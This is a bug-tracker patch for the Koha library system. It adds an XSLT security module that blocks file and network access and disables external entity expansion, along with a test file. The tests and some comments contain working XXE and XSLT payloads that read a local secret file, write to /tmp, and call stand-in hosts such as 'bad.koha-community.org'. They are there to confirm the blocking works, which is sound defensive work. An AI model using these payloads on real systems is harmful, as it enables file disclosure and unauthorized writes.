View | Details | Raw Unified | Return to bug 23290
Collapse All | Expand All

(-)a/Koha/XSLT/Security.pm (+170 lines)
Line 0 Link Here
1
package Koha::XSLT::Security;
2
3
# Copyright 2019 Prosentient Systems, Rijksmuseum
4
#
5
# This file is part of Koha.
6
#
7
# Koha is free software; you can redistribute it and/or modify it under the
8
# terms of the GNU General Public License as published by the Free Software
9
# Foundation; either version 3 of the License, or (at your option) any later
10
# version.
11
#
12
# Koha is distributed in the hope that it will be useful, but WITHOUT ANY
13
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
14
# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
15
#
16
# You should have received a copy of the GNU General Public License along
17
# with Koha; if not, write to the Free Software Foundation, Inc.,
18
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
19
20
=head1 NAME
21
22
Koha::XSLT::Security - Add security features to Koha::XSLT_Handler
23
24
=head1 SYNOPSIS
25
26
    use Koha::XSLT::Security;
27
    my $secu = Koha::XSLT::Security->new;
28
    $secu->register_callbacks;
29
    $secu->set_parser_options($parser);
30
31
=head1 DESCRIPTION
32
33
    This object allows you to apply security options to Koha::XSLT_Handler.
34
    It looks for parser options in koha-conf.xml.
35
36
=cut
37
38
use Modern::Perl;
39
use Data::Dumper qw/Dumper/;
40
use XML::LibXSLT;
41
use C4::Context;
42
43
use base qw(Class::Accessor);
44
45
=head1 METHODS
46
47
=head2 new
48
49
    Creates object, checks if koha-conf.xml contains additional configuration
50
    options, and checks if XML::LibXSLT::Security is present.
51
52
=cut
53
54
sub new {
55
    my ($class) = @_;
56
    my $self = {};
57
58
    $self->{_options} = {};
59
    my $conf = C4::Context->config('koha_xslt_security');
60
    if( $conf && ref($conf) eq 'HASH' ) {
61
        $self->{_options} = $conf;
62
    }
63
64
    my $security = eval { XML::LibXSLT::Security->new };
65
    if( $security ) {
66
        $self->{_security_obj} = $security;
67
    } else {
68
        warn "No XML::LibXSLT::Security object: $@"; #TODO Move to about ?
69
    }
70
71
    return bless $self, $class;
72
}
73
74
=head2 register_callbacks
75
76
    Register LibXSLT security callbacks
77
78
=cut
79
80
sub register_callbacks {
81
    my $self = shift;
82
83
    my $security = $self->{_security_obj};
84
    return if !$security;
85
86
    $security->register_callback( read_file  => sub {
87
        warn "read_file called in XML::LibXSLT";
88
        #i.e. when using the exsl:document() element or document() function (to read a XML file)
89
        my ($tctxt,$value) = @_;
90
        return 0;
91
    });
92
    $security->register_callback( write_file => sub {
93
        warn "write_file called in XML::LibXSLT";
94
        #i.e. when using the exsl:document element (or document() function?) (to write an output file of many possible types)
95
        #e.g.
96
        #<exsl:document href="file:///tmp/breached.txt">
97
        #   <xsl:text>breached!</xsl:text>
98
        #</exsl:document>
99
        my ($tctxt,$value) = @_;
100
        return 0;
101
    });
102
    $security->register_callback( read_net   => sub {
103
        warn "read_net called in XML::LibXSLT";
104
        #i.e. when using the document() function (to read XML from the network)
105
        #e.g. <xsl:copy-of select="document('http://localhost')" />
106
        my ($tctxt,$value) = @_;
107
        return 0;
108
    });
109
    $security->register_callback( write_net  => sub {
110
        warn "write_net called in XML::LibXSLT";
111
        #NOTE: it's unknown how one would invoke this, but covering our bases anyway
112
        my ($tctxt,$value) = @_;
113
        return 0;
114
    });
115
}
116
117
=head2 set_callbacks
118
119
    my $xslt = XML::LibXSLT->new;
120
    $security->set_callbacks( $xslt );
121
122
    Apply registered callbacks to a specific xslt instance.
123
124
=cut
125
126
sub set_callbacks {
127
    my ($self, $xslt) = @_;
128
129
    my $security = $self->{_security_obj};
130
    return if !$security;
131
    $xslt->security_callbacks( $security );
132
}
133
134
=head2 set_parser_options
135
136
    $security->set_parser_options($parser);
137
138
    If koha-conf.xml includes koha_xslt_security options, set them.
139
    We start with implementing expand_entities.
140
141
=cut
142
143
sub set_parser_options {
144
    my ($self, $parser) = @_;
145
    my $conf = $self->{_options};
146
147
    if( $conf->{expand_entities_unsafe} ) { # NOT recommended
148
        _set_option($parser, 'expand_entities', 1);
149
    } else {
150
        # If not explicitly set, we should disable expanding for security
151
        _set_option($parser, 'expand_entities', 0);
152
    }
153
}
154
155
sub _set_option {
156
    my ($parser, $option_name, $value) = @_;
157
    if( $parser->option_exists($option_name) ) {
158
        $parser->set_option($option_name, $value);
159
    }
160
    #TODO Should we warn if it does not exist?
161
}
162
163
=head1 AUTHOR
164
165
    David Cook, Prosentient Systems
166
    Marcel de Rooy, Rijksmuseum Netherlands
167
168
=cut
169
170
1;
(-)a/Koha/XSLT_Handler.pm (-2 / +22 lines)
Lines 1-6 Link Here
1
package Koha::XSLT_Handler;
1
package Koha::XSLT_Handler;
2
2
3
# Copyright 2014 Rijksmuseum
3
# Copyright 2014, 2019 Rijksmuseum, Prosentient Systems
4
#
4
#
5
# This file is part of Koha.
5
# This file is part of Koha.
6
#
6
#
Lines 43-49 Koha::XSLT_Handler - Facilitate use of XSLT transformations Link Here
43
43
44
=head2 new
44
=head2 new
45
45
46
    Create handler object (via Class::Accessor)
46
    Create handler object
47
47
48
=head2 transform
48
=head2 transform
49
49
Lines 118-123 Koha::XSLT_Handler - Facilitate use of XSLT transformations Link Here
118
use Modern::Perl;
118
use Modern::Perl;
119
use XML::LibXML;
119
use XML::LibXML;
120
use XML::LibXSLT;
120
use XML::LibXSLT;
121
use Koha::XSLT::Security;
121
122
122
use base qw(Class::Accessor);
123
use base qw(Class::Accessor);
123
124
Lines 132-137 use constant XSLTH_ERR_5 => 'XSLTH_ERR_PARSING_DATA'; Link Here
132
use constant XSLTH_ERR_6    => 'XSLTH_ERR_TRANSFORMING';
133
use constant XSLTH_ERR_6    => 'XSLTH_ERR_TRANSFORMING';
133
use constant XSLTH_ERR_7    => 'XSLTH_NO_STRING_PASSED';
134
use constant XSLTH_ERR_7    => 'XSLTH_NO_STRING_PASSED';
134
135
136
=head2 new
137
138
    my $xslt_engine = Koha::XSLT_Handler->new;
139
140
=cut
141
142
sub new {
143
    my ($class, $params) = @_;
144
    my $self = $class->SUPER::new($params);
145
    $self->{_security} = Koha::XSLT::Security->new;
146
    $self->{_security}->register_callbacks;
147
    return $self;
148
}
149
135
=head2 transform
150
=head2 transform
136
151
137
    my $output= $xslt_engine->transform( $xml, $xsltfilename, [$format] );
152
    my $output= $xslt_engine->transform( $xml, $xsltfilename, [$format] );
Lines 195-200 sub transform { Link Here
195
210
196
    #parse input and transform
211
    #parse input and transform
197
    my $parser = XML::LibXML->new();
212
    my $parser = XML::LibXML->new();
213
    $self->{_security}->set_parser_options($parser);
198
    my $source = eval { $parser->parse_string($xml) };
214
    my $source = eval { $parser->parse_string($xml) };
199
    if ($@) {
215
    if ($@) {
200
        $self->_set_error( XSLTH_ERR_5, $@ );
216
        $self->_set_error( XSLTH_ERR_5, $@ );
Lines 310-315 sub _load { Link Here
310
326
311
    #load sheet
327
    #load sheet
312
    my $parser = XML::LibXML->new;
328
    my $parser = XML::LibXML->new;
329
    $self->{_security}->set_parser_options($parser);
313
    my $style_doc = eval {
330
    my $style_doc = eval {
314
        $parser->load_xml( $self->_load_xml_args($filename, $code) )
331
        $parser->load_xml( $self->_load_xml_args($filename, $code) )
315
    };
332
    };
Lines 320-325 sub _load { Link Here
320
337
321
    #parse sheet
338
    #parse sheet
322
    my $xslt = XML::LibXSLT->new;
339
    my $xslt = XML::LibXSLT->new;
340
    $self->{_security}->set_callbacks($xslt);
341
323
    $rv = $code? $digest.$codelen: $filename;
342
    $rv = $code? $digest.$codelen: $filename;
324
    $self->{xslt_hash}->{$rv} = eval { $xslt->parse_stylesheet($style_doc) };
343
    $self->{xslt_hash}->{$rv} = eval { $xslt->parse_stylesheet($style_doc) };
325
    if ($@) {
344
    if ($@) {
Lines 348-353 sub _set_error { Link Here
348
=head1 AUTHOR
367
=head1 AUTHOR
349
368
350
    Marcel de Rooy, Rijksmuseum Netherlands
369
    Marcel de Rooy, Rijksmuseum Netherlands
370
    David Cook, Prosentient Systems
351
371
352
=cut
372
=cut
353
373
(-)a/t/db_dependent/Koha/XSLT/Security.t (-1 / +132 lines)
Line 0 Link Here
0
- 
1
#!/usr/bin/perl
2
3
# Copyright 2019 Rijksmuseum
4
#
5
# This file is part of Koha.
6
#
7
# Koha is free software; you can redistribute it and/or modify it under the
8
# terms of the GNU General Public License as published by the Free Software
9
# Foundation; either version 3 of the License, or (at your option) any later
10
# version.
11
#
12
# Koha is distributed in the hope that it will be useful, but WITHOUT ANY
13
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
14
# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
15
#
16
# You should have received a copy of the GNU General Public License along
17
# with Koha; if not, write to the Free Software Foundation, Inc.,
18
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
19
20
use Modern::Perl;
21
use File::Temp qw/tempfile/;
22
use Test::More tests => 7;
23
use Test::Warn;
24
25
use Koha::XSLT_Handler;
26
use t::lib::Mocks;
27
28
t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 1 } );
29
my $engine=Koha::XSLT_Handler->new;
30
31
my $secret_file = mytempfile('Big secret');
32
my $xslt=<<"EOT";
33
<!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]>
34
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
35
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
36
  <xsl:variable name="secret">&secret;</xsl:variable>
37
  <xsl:template match="/">
38
      <secret><xsl:value-of select="\$secret"/></secret>
39
  </xsl:template>
40
</xsl:stylesheet>
41
EOT
42
my $xslt_file = mytempfile($xslt);
43
44
my $output= $engine->transform( "<ignored/>", $xslt_file );
45
like($output, qr/Big secret/, 'external entity got through');
46
47
t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 0 } );
48
$engine=Koha::XSLT_Handler->new;
49
$output= $engine->transform( "<ignored/>", $xslt_file );
50
unlike($output, qr/Big secret/, 'external entity did not get through');
51
52
# Adding a document call to trigger callback for read_file
53
# Does not depend on expand_entities.
54
$xslt=<<"EOT";
55
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
56
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
57
  <xsl:template match="/">
58
      <read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file>
59
  </xsl:template>
60
</xsl:stylesheet>
61
EOT
62
$xslt_file = mytempfile($xslt);
63
warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
64
    [ qr/read_file called in XML::LibXSLT/, qr/runtime error/ ],
65
    'Triggered security callback for read_file';
66
67
# Trigger write_file
68
$xslt=<<"EOT";
69
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
70
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
71
  <xsl:template match="/">
72
      <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document>
73
  </xsl:template>
74
</xsl:stylesheet>
75
EOT
76
$xslt_file = mytempfile($xslt);
77
warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
78
    [ qr/write_file called in XML::LibXSLT/, qr/runtime error/ ],
79
    'Triggered security callback for write_file';
80
81
# Trigger read_net
82
$xslt=<<"EOT";
83
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
84
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
85
  <xsl:template match="/">
86
      <xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" />
87
  </xsl:template>
88
</xsl:stylesheet>
89
EOT
90
$xslt_file = mytempfile($xslt);
91
warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
92
    [ qr/read_net called in XML::LibXSLT/, qr/runtime error/ ],
93
    'Triggered security callback for read_net';
94
95
# Trigger write_net
96
$xslt=<<"EOT";
97
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
98
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
99
  <xsl:template match="/">
100
      <exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html">
101
    <xsl:text>Breached!</xsl:text>
102
</exsl:document>
103
  </xsl:template>
104
</xsl:stylesheet>
105
EOT
106
$xslt_file = mytempfile($xslt);
107
warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
108
    [ qr/write_net called in XML::LibXSLT/, qr/runtime error/ ],
109
    'Triggered security callback for write_net';
110
111
# Check remote import (include should be similar)
112
# Trusting koha-community.org DNS here ;)
113
# This should not trigger read_net but fail on the missing import.
114
$xslt=<<"EOT";
115
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
116
  <xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/>
117
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
118
  <xsl:template match="/"/>
119
</xsl:stylesheet>
120
EOT
121
$xslt_file = mytempfile($xslt);
122
$engine->print_warns(1);
123
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
124
    qr/I\/O warning : failed to load external entity/,
125
    'Remote import does not fail on read_net';
126
127
sub mytempfile {
128
    my ( $fh, $fn ) = tempfile( SUFFIX => '.xsl', UNLINK => 1 );
129
    print $fh $_[0]//'';
130
    close $fh;
131
    return $fn;
132
}

Return to bug 23290